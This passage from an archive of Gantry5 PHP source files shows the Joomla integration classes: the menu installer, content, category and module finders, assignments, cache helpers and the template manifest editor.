            if ($update) {
                $this->actions[] = ['action' =>
'menu_item_updated', 'text' =>
\JText::sprintf('GANTRY5_INSTALLER_ACTION_MENU_ITEM_UPDATED' .
$postfix, $table->title, $table->path, $menu->title)];
            } else {
                $this->actions[] = ['action' =>
'menu_item_created', 'text' =>
\JText::sprintf('GANTRY5_INSTALLER_ACTION_MENU_ITEM_CREATED' .
$postfix, $table->title, $table->path, $menu->title)];
            }
        } elseif ($item['home']) {
            $this->actions[] = ['action' =>
'menu_item_updated', 'text' =>
\JText::sprintf('GANTRY5_INSTALLER_ACTION_MENU_ITEM_HOME',
$table->title, $table->path, $menu->title)];
        }

        return $table->id;
    }

    public function installMenus(array $menus = null, $parent = 1)
    {
        if ($menus === null) {
            $path = $this->getPath();

            $file = YamlFile::instance($path .
'/install/menus.yaml');
            $menus = (array) $file->content();
            $file->free();
        }

        foreach ($menus as $menutype => $menu) {
            $title = !empty($menu['title']) ?
$menu['title'] : ucfirst($menutype);
            $description = !empty($menu['description']) ?
$menu['description'] : '';

            $exists = $this->getMenu($menutype)->id;

            // If $parent = 0, do dry run.
            if ((int) $parent && !$exists) {
                $this->deleteMenu($menutype, true);
                $this->createMenu($menutype, $title, $description);
            }

            if (!empty($menu['items'])) {
                $this->addMenuItems($menutype, $menu['items'],
(int) $parent);
            }
        }
    }

    /**
     * @param string $type
     * @param string $title
     * @param string $description
     * @throws \Exception
     */
    public function createMenu($type, $title, $description)
    {
        /** @var \JTableMenuType $table */
        $table = \JTable::getInstance('MenuType');
        $data  = array(
            'menutype'    => $type,
            'title'       => $title,
            'description' => $description
        );

        if (!$table->bind($data) || !$table->check()) {
            // Menu already exists, do nothing
            return;
        }

        if (!$table->store()) {
            throw new \Exception($table->getError());
        }

        $this->actions["menu_{$type}_created"] =
['action' => 'menu_created', 'text' =>
\JText::sprintf('GANTRY5_INSTALLER_ACTION_MENU_CREATED',
$title)];
    }

    /**
     * @param string $type
     * @param bool $force
     */
    public function deleteMenu($type, $force = false)
    {
        if ($force) {
            $this->unsetHome($type);
        }

        $table = \JTable::getInstance('MenuType');
        $table->load(array('menutype' => $type));

        if ($table->id) {
            $success = $table->delete();

            if (!$success) {
               
\JFactory::getApplication()->enqueueMessage($table->getError(),
'error');
            } else {
                $this->actions["menu_{$type}_deleted"] =
['action' => 'menu_delete', 'text' =>
\JText::_('GANTRY5_INSTALLER_ACTION_MENU_DELETED',
$table->title)];
            }
        }

        /** @var \JCache|\JCacheController $cache */
        $cache = \JFactory::getCache();
        $cache->clean('mod_menu');
    }

    public function unsetHome($type)
    {
        // Update the mapping for menu items that this style IS assigned
to.
        $db = \JFactory::getDbo();

        $query = $db->getQuery(true)
            ->update('#__menu')
            ->set('home=0')
            ->where('menutype=' . $db->quote($type))
            ->where('client_id=0');
        $db->setQuery($query);
        $db->execute();
    }

    /**
     * @deprecated 5.3.2
     */
    public function cleanup()
    {
        $this->initialize();
        $this->finalize();
    }

    public function finalize()
    {
        parent::finalize();

        $gantry = Gantry::instance();

        /** @var Outlines $outlines */
        $outlines = $gantry['outlines'];
        $name = $this->extension->name;

        // Update positions in manifest file.
        $positions = $outlines->positions();

        $manifest = new Manifest($name);
        $manifest->setPositions(array_keys($positions));
        $manifest->save();
    }

    protected function addMenuItems($menutype, array $items, $parent)
    {
        foreach ($items as $alias => $item) {
            $item = (array) $item;
            $item += [
                'menutype' => $menutype,
                'title' => ucfirst($alias),
                'alias' => $alias
            ];

            $outline = isset($item['outline']) ?
$item['outline'] : (isset($item['layout']) ?
$item['layout'] : null);
            $params = $this->getOutline($outline);
            if (!is_array($params)) {
                $params = [
                    'preset' =>
isset($item['preset']) ? $item['preset'] :
(isset($item['layout']) ? $item['layout'] : null),
                    'title' => isset($item['style'])
? $item['style'] : null
                ];
            }

            $id = $outline ? $this->createOutline($outline, $params) :
0;
            $item['template_style_id'] = (string)(int) $id ===
(string) $id ? $id : 0;

            // If $parent = 0, do dry run.
            $itemId = $parent ? $this->addMenuItem($item, $parent, true)
: 0;
            if (!empty($item['items'])) {
                $this->addMenuItems($menutype, $item['items'],
$itemId);
            }
        }
    }

    protected function getInstallerScript()
    {
        if (!$this->script) {
            $className = $this->extension->name .
'InstallerScript';

            if (!class_exists($className)) {
                $manifest = new Manifest($this->extension->name);
                $file = $manifest->getScriptFile();

                $path = "{$this->getPath()}/{$file}";
                if ($file && is_file($path)) {
                    require_once $path;
                }
            }

            if (class_exists($className)) {
                $this->script = new $className;
            }
        }

        return $this->script;
    }

    protected function getManifest()
    {
        if (!$this->manifest) {
            $this->manifest = new
Manifest($this->extension->name);
        }

        return $this->manifest;
    }

    protected function getComponent()
    {
        static $component_id;

        if (!$component_id) {
            // Get Gantry component id.
            $component_id =
\JComponentHelper::getComponent('com_gantry5')->id;
        }

        return $component_id;
    }
}
Gantry/Framework/Translator.php000064400000001134151157471010012610
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   GNU/GPLv2 and later
 *
 * http://www.gnu.org/licenses/gpl-2.0.html
 */

namespace Gantry\Framework;

use Gantry\Component\Translator\Translator as BaseTranslator;

class Translator extends BaseTranslator
{
    public function translate($string)
    {
        if (\func_num_args() === 1) {
            return \JText::_($string);
        }

        $args = \func_get_args();
        return \call_user_func_array(['JText',
'sprintf'], $args);
    }
}
Gantry/Joomla/Assignments/AssignmentsMenu.php000064400000004063151157471010015362
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   GNU/GPLv2 and later
 *
 * http://www.gnu.org/licenses/gpl-2.0.html
 */

namespace Gantry\Joomla\Assignments;

use Gantry\Component\Assignments\AssignmentsInterface;

class AssignmentsMenu implements AssignmentsInterface
{
    public $type = 'menu';
    public $priority = 1;

    /**
     * Returns list of rules which apply to the current page.
     *
     * @return array
     */
    public function getRules()
    {
        $rules = [];

        $app = \JFactory::getApplication();
        if ($app->isSite()) {
            $active = $app->getMenu()->getActive();
            if ($active) {
                $menutype = $active->menutype;
                $id = $active->id;
                $rules = [$menutype => [$id => $this->priority]];
            }
        }

        return $rules;
    }

    /**
     * List all the rules available.
     *
     * @param string $configuration
     * @return array
     */
    public function listRules($configuration)
    {
        require_once JPATH_ADMINISTRATOR .
'/components/com_menus/helpers/menus.php';
        $data = \MenusHelper::getMenuLinks();

        $userid = \JFactory::getUser()->id;

        $list = [];

        foreach ($data as $menu) {
            $items = [];
            foreach ($menu->links as $link) {
                $items[] = [
                    'name' => $link->value,
                    'field' => ['id',
'link' . $link->value],
                    'value' => $link->template_style_id ==
$configuration,
                    'disabled' => $link->type !=
'component' || $link->checked_out &&
$link->checked_out != $userid,
                    'label' => str_repeat('—',
max(0, $link->level-1)) . ' ' . $link->text
                ];
            }
            $group = [
                'label' => $menu->title ?:
$menu->menutype,
                'items' => $items
            ];

            $list[$menu->menutype] = $group;
        }

        return $list;
    }
}
Gantry/Joomla/Assignments/AssignmentsStyle.php000064400000003621151157471010015555
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   GNU/GPLv2 and later
 *
 * http://www.gnu.org/licenses/gpl-2.0.html
 */

namespace Gantry\Joomla\Assignments;

use Gantry\Component\Assignments\AssignmentsInterface;
use Gantry\Framework\Gantry;
use RocketTheme\Toolbox\ResourceLocator\UniformResourceLocator;

class AssignmentsStyle implements AssignmentsInterface
{
    public $type = 'style';
    public $priority = 2;

    /**
     * Returns list of rules which apply to the current page.
     *
     * @return array
     */
    public function getRules()
    {
        static $rules;

        if (!isset($rules)) {
            $rules = [];

            $template = \JFactory::getApplication()->getTemplate(true);

            $theme = $template->template;
            $outline =
$template->params->get('configuration',
!empty($template->id) ? $template->id :
$template->params->get('preset', null));

            if (JDEBUG) {
                GANTRY_DEBUGGER &&
\Gantry\Debugger::addMessage('Template Style:',
'debug') && \Gantry\Debugger::addMessage($template,
'debug');

                if (!$outline) {
                   
\JFactory::getApplication()->enqueueMessage('JApplicationSite::getTemplate()
was overridden with no specified Gantry 5 outline.',
'debug');
                }
            }

            /** @var UniformResourceLocator $locator */
            $locator = Gantry::instance()['locator'];

            if ($outline &&
is_dir($locator("gantry-themes://{$theme}/custom/config/{$outline}")))
{
                $rules = ['id' => [$outline =>
$this->priority]];
            }
        }

        return $rules;
    }

    /**
     * List all the rules available.
     *
     * @param string $configuration
     * @return array
     */
    public function listRules($configuration)
    {
        return [];
    }
}
Gantry/Joomla/CacheHelper.php000064400000003007151157471010012107
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   GNU/GPLv2 and later
 *
 * http://www.gnu.org/licenses/gpl-2.0.html
 */

namespace Gantry\Joomla;

class CacheHelper
{
    public static function cleanTemplates()
    {
        self::cleanByType('com_templates');
        self::cleanByType('_system');
    }

    public static function cleanMenu()
    {
        self::cleanByType('mod_menu');
        self::cleanByType('_system');
    }

    public static function cleanPlugin()
    {
        self::cleanByType('_system', 0);
        self::cleanByType('_system', 1);
        self::cleanByType('com_plugins', 0);
        self::cleanByType('com_plugins', 1);
    }

    private static function cleanByType($group = null, $client_id = 0,
$event = 'onContentCleanCache')
    {
        $conf = \JFactory::getConfig();
        $dispatcher = \JEventDispatcher::getInstance();

        $options = array(
            'defaultgroup' => $group,
            'cachebase' => ($client_id) ? JPATH_ADMINISTRATOR
. '/cache' : $conf->get('cache_path', JPATH_SITE .
'/cache'),
            'result' => true
        );

        try {
            $cache = \JCache::getInstance('callback', $options);
            $cache->clean();
        } catch (\Exception $e) { // TODO: Joomla 3.7 uses JCacheException
            $options['result'] = false;
        }

        // Trigger the onContentCleanCache event.
        $dispatcher->trigger($event, $options);
    }
}
Gantry/Joomla/Category/Category.php000064400000003302151157471010013274
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   GNU/GPLv2 and later
 *
 * http://www.gnu.org/licenses/gpl-2.0.html
 */

namespace Gantry\Joomla\Category;

use Gantry\Framework\Gantry;
use Gantry\Joomla\Object\AbstractObject;

class Category extends AbstractObject
{
    static protected $instances = [];

    static protected $table = 'Category';
    static protected $order = 'lft';

    public function initialize()
    {
        if (!parent::initialize()) {
            return false;
        }

        $this->params = json_decode($this->params);
        $this->metadata = json_decode($this->metadata);

        return true;
    }

    public function parent()
    {
        if ($this->alias != $this->path)
        {
            $parent = Category::getInstance($this->parent_id);
        }

        return isset($parent) && $parent->extension ==
$this->extension ? $parent : null;
    }

    public function parents()
    {
        $parent = $this->parent();

        return $parent ? array_merge($parent->parents(), [$parent]) :
[];
    }

    public function route()
    {
        require_once JPATH_SITE .
'/components/com_content/helpers/route.php';

        return
\JRoute::_(\ContentHelperRoute::getCategoryRoute($this->id .
':' . $this->alias), false);
    }

    public function render($file)
    {
        return Gantry::instance()['theme']->render($file,
['category' => $this]);
    }

    public function compile($string)
    {
        return Gantry::instance()['theme']->compile($string,
['category' => $this]);
    }

    public function toArray()
    {
        return $this->getProperties(true);
    }
}
Gantry/Joomla/Category/CategoryFinder.php000064400000010073151157471010014427
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   GNU/GPLv2 and later
 *
 * http://www.gnu.org/licenses/gpl-2.0.html
 */

namespace Gantry\Joomla\Category;

use Gantry\Joomla\Object\Finder;

class CategoryFinder extends Finder
{
    protected $table = '#__categories';
    protected $extension = 'com_content';
    protected $readonly = true;

    /**
     * Makes all created objects as readonly.
     *
     * @return $this
     */
    public function readonly($readonly = true)
    {
        $this->readonly = (bool)$readonly;

        return $this;
    }

    public function find($object = true)
    {
        $ids = parent::find();

        if (!$object) {
            return $ids;
        }

        return Category::getInstances($ids, $this->readonly);
    }

    public function id($ids, $levels = 0)
    {
        if ($ids && $levels) {
            $ids = (array) $ids;

            $db = $this->db;
            array_walk($ids, function (&$item) use ($db) { $item =
$db->quote($item); });
            $idList = implode(',', $ids);

            // Create a subquery for the subcategory list
            $subQuery = $this->db->getQuery(true)
                ->select('sub.id')
                ->from('#__categories AS sub')
                ->join('INNER', '#__categories AS this ON
sub.lft > this.lft AND sub.rgt < this.rgt')
                ->where("this.id IN ({$idList})");

            if (is_numeric($levels)) {
                $subQuery->where('sub.level <= this.level +
' . (int) $levels);
            }

            // Add the subquery to the main query
            $this->query->where("(a.id IN ({$idList}) OR a.id IN
({$subQuery->__toString()}))");
        } else {
            $this->where('a.id', 'IN', $ids);
        }

        return $this;
    }

    public function language($language = true)
    {
        if (!$language) {
            return $this;
        }
        if ($language === true || is_numeric($language)) {
            $language = \JFactory::getLanguage()->getTag();
        }
        return $this->where('a.language', 'IN',
[$language, '*']);
    }

    public function published($published = 1)
    {
        if (!is_array($published)) {
            $published = (array) intval($published);
        }
        return $this->where('a.published', 'IN',
$published);
    }

    public function authorised($authorised = true)
    {
        if (!$authorised) {
            return $this;
        }

        // Ignore unpublished categories.
        $unpublished = $this->getUnpublished($this->extension);

        if ($unpublished) {
            $this->where('a.id', 'NOT IN',
$unpublished);
        }

        // Check authorization.
        $user = \JFactory::getUser();
        $groups = $user->getAuthorisedViewLevels();

        return $this->where('a.access', 'IN',
$groups);
    }

    public function extension($extension)
    {
        $this->extension = static::getExtension($extension);

        return $this->where('a.extension', '=',
$this->extension);
    }

    public static function getExtension($extension)
    {
        static $map = [
            'article' => 'com_content',
            'articles' => 'com_content',
            'content' => 'com_content',
        ];

        if (isset($map[$extension])) {
            $extension = $map[$extension];
        }

        return $extension;
    }

    public static function getUnpublished($extension)
    {
        static $list;

        if ($list === null) {
            $db = \JFactory::getDbo();

            $query = $db->getQuery(true)
                ->select('cat.id AS id')
                ->from('#__categories AS cat')
                ->join('LEFT', '#__categories AS parent
ON cat.lft BETWEEN parent.lft AND parent.rgt')
                ->where('parent.extension = ' .
$db->quote(static::getExtension($extension)))
                ->where('parent.published != 1 AND cat.published
< 1')
                ->group('cat.id');

            $db->setQuery($query);
            $list = $db->loadColumn();
        }

        return $list;
    }
}
Gantry/Joomla/Content/Content.php000064400000006227151157471010012777
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   GNU/GPLv2 and later
 *
 * http://www.gnu.org/licenses/gpl-2.0.html
 */

namespace Gantry\Joomla\Content;

use Gantry\Framework\Gantry;
use Gantry\Joomla\Category\Category;
use Gantry\Joomla\Object\AbstractObject;

class Content extends AbstractObject
{
    static protected $instances = [];

    static protected $table = 'Content';
    static protected $order = 'id';

    public function initialize()
    {
        if (!parent::initialize()) {
            return false;
        }

        $this->images = json_decode($this->images);
        $this->urls = json_decode($this->urls);
        $this->attribs = json_decode($this->attribs);
        $this->metadata = json_decode($this->metadata);

        $nullDate = \JFactory::getDbo()->getNullDate();
        if ($this->modified === $nullDate) {
            $this->modified = $this->created;
        }
        if ($this->publish_up === $nullDate) {
            $this->publish_up = $this->created;
        }

        return true;
    }

    public function author()
    {
        return \JUser::getInstance($this->created_by);
    }

    public function category()
    {
        return Category::getInstance($this->catid);
    }

    public function categories()
    {
        $category = $this->category();

        return array_merge($category->parents(), [$category]);
    }

    public function text()
    {
        return $this->introtext . ' ' . $this->fulltext;
    }

    public function preparedText()
    {
        return \JHtml::_('content.prepare', $this->text());
    }

    public function preparedIntroText()
    {
        return \JHtml::_('content.prepare', $this->introtext);
    }

    public function readmore()
    {
        return (bool)strlen($this->fulltext);
    }

    public function route()
    {
        require_once JPATH_SITE .
'/components/com_content/helpers/route.php';

        $category = $this->category();

        return \JRoute::_(\ContentHelperRoute::getArticleRoute($this->id
. ':' . $this->alias, $category->id . ':' .
$category->alias), false);
    }

    public function edit()
    {
        $user = \JFactory::getUser();
        $asset = "com_content.article.{$this->id}";

        if ($user->authorise('core.edit', $asset) ||
$user->authorise('core.edit.own', $asset)) {
            return
"index.php?option=com_content&task=article.edit&a_id={$this->id}&tmpl=component";
        }

        return false;
    }

    public function render($file)
    {
        return Gantry::instance()['theme']->render($file,
['article' => $this]);
    }

    public function compile($string)
    {
        return Gantry::instance()['theme']->compile($string,
['article' => $this]);
    }

    public function toArray()
    {
        return $this->getProperties(true) + [
            'category' => [
                'alias' => $this->category()->alias,
                'title' => $this->category()->title
            ],
            'author' => [
                'username' => $this->author()->username,
                'fullname' => $this->author()->name
            ],
        ];
    }
}
Gantry/Joomla/Content/ContentFinder.php000064400000007673151157471010014135
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   GNU/GPLv2 and later
 *
 * http://www.gnu.org/licenses/gpl-2.0.html
 */

namespace Gantry\Joomla\Content;

use Gantry\Joomla\Category\Category;
use Gantry\Joomla\Category\CategoryFinder;
use Gantry\Joomla\Object\Collection;
use Gantry\Joomla\Object\Finder;

class ContentFinder extends Finder
{
    protected $table = '#__content';
    protected $readonly = true;
    protected $state = [];

    /**
     * Makes all created objects as readonly.
     *
     * @return $this
     */
    public function readonly($readonly = true)
    {
        $this->readonly = (bool)$readonly;

        return $this;
    }

    public function find($object = true)
    {
        $ids = parent::find();

        if (!$object) {
            return $ids;
        }

        return Content::getInstances($ids, $this->readonly);
    }

    public function id($ids, $include = true)
    {
        return $this->addToGroup('a.id', $ids, $include);
    }

    public function author($ids, $include = true)
    {
        return $this->addToGroup('a.created_by', $ids,
$include);
    }

    public function category($ids, $include = true)
    {
        if ($ids instanceof Collection) {
            $ids = $ids->toArray();
        } else {
            $ids = (array)$ids;
        }

        array_walk($ids, function (&$item) { $item = $item instanceof
Category ? $item->id : (int) $item; });

        return $this->addToGroup('a.catid', $ids, $include);
    }

    public function featured($featured = true)
    {
        $featured = intval((bool)$featured);
        $this->where('a.featured', '=', $featured);

        return $this;
    }

    public function language($language = true)
    {
        if (!$language) {
            return $this;
        }
        if ($language === true || is_numeric($language)) {
            $language = \JFactory::getLanguage()->getTag();
        }
        return $this->where('a.language', 'IN',
[$language, '*']);
    }

    public function published($published = 1)
    {
        if (!is_array($published)) {
            $published = (array) intval($published);
        }
        return $this->where('a.state', 'IN',
$published);
    }

    public function authorised($authorised = true)
    {
        if (!$authorised) {
            return $this;
        }

        $unpublished = CategoryFinder::getUnpublished('content');
        if ($unpublished) {
            $this->where('a.catid', 'NOT IN',
$unpublished);
        }

        $user = \JFactory::getUser();

        // Define null and now dates
        $nullDate = $this->db->quote($this->db->getNullDate());
        $nowDate =
$this->db->quote(\JFactory::getDate()->toSql());

        // Filter by start and end dates.
        if (!$user->authorise('core.edit.state',
'com_content') &&
!$user->authorise('core.edit', 'com_content')) {
            $this->query
                ->where("(a.publish_up = {$nullDate} OR
a.publish_up <= {$nowDate})")
                ->where("(a.publish_down = {$nullDate} OR
a.publish_down >= {$nowDate})")
                ->where("a.state >= 1")
            ;
        }

        $groups = $user->getAuthorisedViewLevels();

        $this->query->join('INNER', '#__categories AS
c ON c.id = a.catid');

        return $this->where('a.access', 'IN',
$groups)->where('c.access', 'IN', $groups);
    }

    protected function addToGroup($key, $ids, $include = true)
    {
        $op = $include ? 'IN' : 'NOT IN';

        if (isset($this->state[$key][$op])) {
            $this->state[$key][$op] =
array_merge($this->state[$key][$op], $ids);
        } else {
            $this->state[$key][$op] = $ids;
        }

        return $this;
    }

    protected function prepare()
    {
        foreach ($this->state as $key => $list) {
            foreach ($list as $op => $group) {
                $this->where($key, $op, array_unique($group));
            }
        }
    }
}
Gantry/Joomla/Manifest.php000064400000004324151157471010011515
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   GNU/GPLv2 and later
 *
 * http://www.gnu.org/licenses/gpl-2.0.html
 */

namespace Gantry\Joomla;

/**
 * Joomla manifest file modifier.
 */
class Manifest
{
    protected $theme;
    protected $path;
    protected $xml;

    /**
     * @param string $theme
     * @param \SimpleXMLElement $manifest
     * @throws \RuntimeException
     */
    public function __construct($theme, \SimpleXMLElement $manifest = null)
    {
        $this->theme = $theme;
        $this->path = JPATH_SITE .
"/templates/{$theme}/templateDetails.xml";

        if (!is_file($this->path)) {
            throw new \RuntimeException(sprintf('Template %s does not
exist.', $theme));
        }
        $this->xml = $manifest ?: simplexml_load_file($this->path);
    }

    /**
     * @param string $variable
     * @return string
     */
    public function get($variable)
    {
        return (string) $this->xml->{$variable};
    }

    /**
     * @return \SimpleXMLElement
     */
    public function getXml()
    {
        return $this->xml;
    }

    public function getScriptFile()
    {
        return (string) $this->xml->scriptfile;
    }

    public function setPositions(array $positions)
    {
        sort($positions);

        // Get the positions.
        $target =
current($this->xml->xpath('//positions'));

        $xml = "<positions>\n        <position>" .
implode("</position>\n        <position>",
$positions) . "</position>\n    </positions>";
        $insert = new \SimpleXMLElement($xml);

        // Replace all positions.
        $targetDom = dom_import_simplexml($target);
        $insertDom =
$targetDom->ownerDocument->importNode(dom_import_simplexml($insert),
true);
        $targetDom->parentNode->replaceChild($insertDom, $targetDom);
    }


    public function save()
    {
        // Do not save manifest if template has been symbolically linked.
        if (is_link(dirname($this->path))) {
            return;
        }

        if (!$this->xml->asXML($this->path)) {
            throw new \RuntimeException(sprintf('Saving manifest for
%s template failed', $this->theme));
        }
    }
}
Gantry/Joomla/Module/Module.php000064400000012244151157471010012421
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   GNU/GPLv2 and later
 *
 * http://www.gnu.org/licenses/gpl-2.0.html
 */

namespace Gantry\Joomla\Module;

use Gantry\Framework\Gantry;
use Gantry\Joomla\Object\AbstractObject;
use RocketTheme\Toolbox\ArrayTraits\Export;
use RocketTheme\Toolbox\ArrayTraits\ExportInterface;

\JTable::addIncludePath(JPATH_LIBRARIES . '/legacy/table/');

class Module extends AbstractObject implements ExportInterface
{
    use Export;

    static protected $instances = [];

    static protected $table = 'Module';
    static protected $order = 'id';
    
    protected $_assignments;

    public function assignments($assignments = null)
    {
        if (is_array($assignments)) {
            $this->_assignments = array_map('intval',
array_values($assignments));

        } elseif (!isset($this->_assignments)) {
            $db = \JFactory::getDbo();
            $query = $db->getQuery(true);
           
$query->select('menuid')->from('#__modules_menu')->where('moduleid
= ' . $this->id);
            $db->setQuery($query);

            $this->_assignments = array_map('intval', (array)
$db->loadColumn());
        }
        
        return $this->_assignments;
    }

    public function initialize()
    {
        if (!parent::initialize()) {
            return false;
        }

        $this->params = json_decode($this->params);

        return true;
    }

    public function toArray()
    {
        $particle = $this->module === 'mod_gantry5_particle';

        // Convert params to array.
        $params = json_decode(json_encode($this->params), true);

        $array = [
            'id' => $this->id,
            'position' => $this->position,
            'ordering' => (int) $this->ordering,
            'type' => $particle ? 'particle' :
'joomla',
            'title' => $this->title,
            'chrome' => [
                'display_title' => (bool) $this->showtitle,
                'class' =>
!empty($params['moduleclass_sfx']) ?
$params['moduleclass_sfx'] : ''
            ],
            'options' => null,
            'assignments' => $this->assignments()
        ];

        $options = array_filter(
            [
                'type' => !$particle ? $this->module :
null,
                'note' => $this->note ?: null,
                'published' => (bool) $this->published,
                'content' => $this->content ?: null,
                'params' => &$params,
                'language' => $this->language !==
'*' ? $this->language : null,
            ],
            [$this, 'is_not_null']
        );

        if ($particle) {
            $array['joomla'] = $options;
            $options = !empty($params['particle']) ?
json_decode($params['particle'], true) : [];
            $options['type'] =
isset($options['particle']) ? $options['particle'] :
null;
            $options['attributes'] =
isset($options['options']['particle']) ?
$options['options']['particle'] : [];

            unset($options['particle'],
$options['options']);

            $array['options'] = $options;

            unset($params['particle']);
        } else {
            $array['options'] = $options;
        }

        return array_filter($array, [$this, 'is_not_null']);
    }

    public function create(array $array)
    {
        $type = $array['type'];

        if ($type === 'particle') {
            $particle = isset($array['options']) ?
$array['options'] : [];
            $array['options'] = isset($array['joomla'])
? $array['joomla'] : [];
            $array['options']['type'] =
'mod_gantry5_particle';
           
$array['options']['params']['particle'] =
$particle;

        } elseif ($type !== 'joomla') {
            return null;
        }

        $options = $array['options'];

        $properties = [
            'title' => $array['title'],
            'note' => isset($options['note']) ?
$options['note'] : '',
            'content' => isset($options['content'])
? $options['content'] : '',
            'position' => $array['position'],
            'ordering' => (int) $array['ordering'],
            'published' => (int)
!empty($options['published']),
            'module' => $options['type'],
            'showtitle' => (int)
!empty($array['chrome']['display_title']),
            'params' => isset($options['params']) ?
json_decode(json_encode($options['params'])) : [],
            'language' =>
isset($options['language']) ? $options['language'] :
'*',
            '_assignments' =>
isset($array['assignments']) ? $array['assignments'] :
[],
        ];

        $object = new static();
        $object->bind($properties);

        return $object;
    }

    public function render($file)
    {
        return Gantry::instance()['theme']->render($file,
['particle' => $this]);
    }

    public function compile($string)
    {
        return Gantry::instance()['theme']->compile($string,
['particle' => $this]);
    }

    // Internal functions

    /**
     * @param $val
     * @return bool
     * @internal
     */
    public function is_not_null($val)
    {
        return !is_null($val);
    }

    static protected function collection($items)
    {
        return new ModuleCollection($items);
    }
}
Gantry/Joomla/Module/ModuleCollection.php000064400000006353151157471010014441
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   GNU/GPLv2 and later
 *
 * http://www.gnu.org/licenses/gpl-2.0.html
 */

namespace Gantry\Joomla\Module;

use Gantry\Joomla\Object\Collection;

class ModuleCollection extends Collection
{
    public function toArray()
    {
        return $this->__call('toArray', []);
    }

    public function export()
    {
        $assignments = $this->assignments();
        $paths =
$this->getAssignmentPath($this->values($assignments));

        $items = $this->toArray();
        $positions = [];

        // Convert assignments to our format.
        foreach ($items as $item) {
            $position = $item['position'];
            $name = $item['options']['type'] .
'-' . $item['id'];

            if ($position === '') {
                continue;
            }
            if (empty($item['assignments'])) {
                $item['assignments'] = [];
            } elseif (in_array(0, $item['assignments'])) {
                $item['assignments'] = ['page' =>
true];
            } else {
                $list = [];
                foreach ($item['assignments'] as $assignment) {
                    $key = abs($assignment);
                    if (isset($paths[$key])) {
                        $list[$paths[$key]] = $assignment > 0 ? 1 : -1;
                    }
                }
                $item['assignments'] = ['page' =>
[$list]];
            }
            unset($item['position'], $item['id'],
$item['ordering']);

            $positions[$position][$name] = $item;
        }

        return $positions;
    }

    public function assignments()
    {
        $this->loadAssignments();

        return $this->__call('assignments', []);
    }

    public function loadAssignments()
    {
        $ids = $this->defined('assignments', false);
        $ids = array_filter($ids);

        if (!$ids) {
            return;
        }

        $idlist = implode(',', array_keys($ids));

        $db = \JFactory::getDbo();
        $query = $db->getQuery(true);
        $query->select('moduleid,
menuid')->from('#__modules_menu')->where("moduleid
IN ($idlist)");
        $db->setQuery($query);

        $assignments = $db->loadRowList();

        $list = [];
        foreach ($assignments as $value) {
            $list[$value[0]][] = (int) $value[1];
        }

        foreach ($this as $module) {
            $module->assignments(isset($list[$module->id]) ?
$list[$module->id] : []);
        }
    }

    protected function getAssignmentPath(array $ids)
    {
        if (!$ids) {
            return [];
        }

        $idlist = implode(',', array_map('intval',
$ids));

        $db = \JFactory::getDbo();
        $query = $db->getQuery(true);
        $query->select('id,
path')->from('#__menu')->where("id IN
($idlist)");
        $db->setQuery($query);

        $paths = $db->loadRowList();

        $list = [];
        foreach ($paths as $value) {
            $list[$value[0]] = $value[1];
        }

        return $list;
    }

    protected function values($values)
    {
        $list = [];
        foreach ($values as $array) {
            $list = array_merge($list, (array) $array);
        }

        return array_unique($list);
    }
}
Gantry/Joomla/Module/ModuleFinder.php000064400000005110151157471010013543
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   GNU/GPLv2 and later
 *
 * http://www.gnu.org/licenses/gpl-2.0.html
 */

namespace Gantry\Joomla\Module;

use Gantry\Joomla\Object\Finder;

class ModuleFinder extends Finder
{
    protected $table = '#__modules';
    protected $readonly = true;
    protected $state = [];
    protected $published = [0, 1];
    protected $limit = 0;

    /**
     * Makes all created objects as readonly.
     *
     * @return $this
     */
    public function readonly($readonly = true)
    {
        $this->readonly = (bool)$readonly;

        return $this;
    }

    public function find($object = true)
    {
        $ids = parent::find();

        if (!$object) {
            return $ids;
        }

        return Module::getInstances($ids, $this->readonly);
    }

    public function id($ids, $include = true)
    {
        return $this->addToGroup('a.id', $ids, $include);
    }

    public function language($language = true)
    {
        if (!$language) {
            return $this;
        }
        if ($language === true || is_numeric($language)) {
            $language = \JFactory::getLanguage()->getTag();
        }
        return $this->where('a.language', 'IN',
[$language, '*']);
    }

    public function published($published = 1)
    {
        if (!is_array($published)) {
            $published = (array) intval($published);
        }

        $this->published = $published;

        return $this;
    }

    public function particle()
    {
        return $this->where('a.module', '=',
'mod_gantry5_particle');
    }

    public function authorised($authorised = true)
    {
        if (!$authorised) {
            return $this;
        }

        $groups = \JFactory::getUser()->getAuthorisedViewLevels();

        return $this->where('a.access', 'IN',
$groups);
    }

    protected function addToGroup($key, $ids, $include = true)
    {
        $op = $include ? 'IN' : 'NOT IN';

        if (isset($this->state[$key][$op])) {
            $this->state[$key][$op] =
array_merge($this->state[$key][$op], $ids);
        } else {
            $this->state[$key][$op] = $ids;
        }

        return $this;
    }

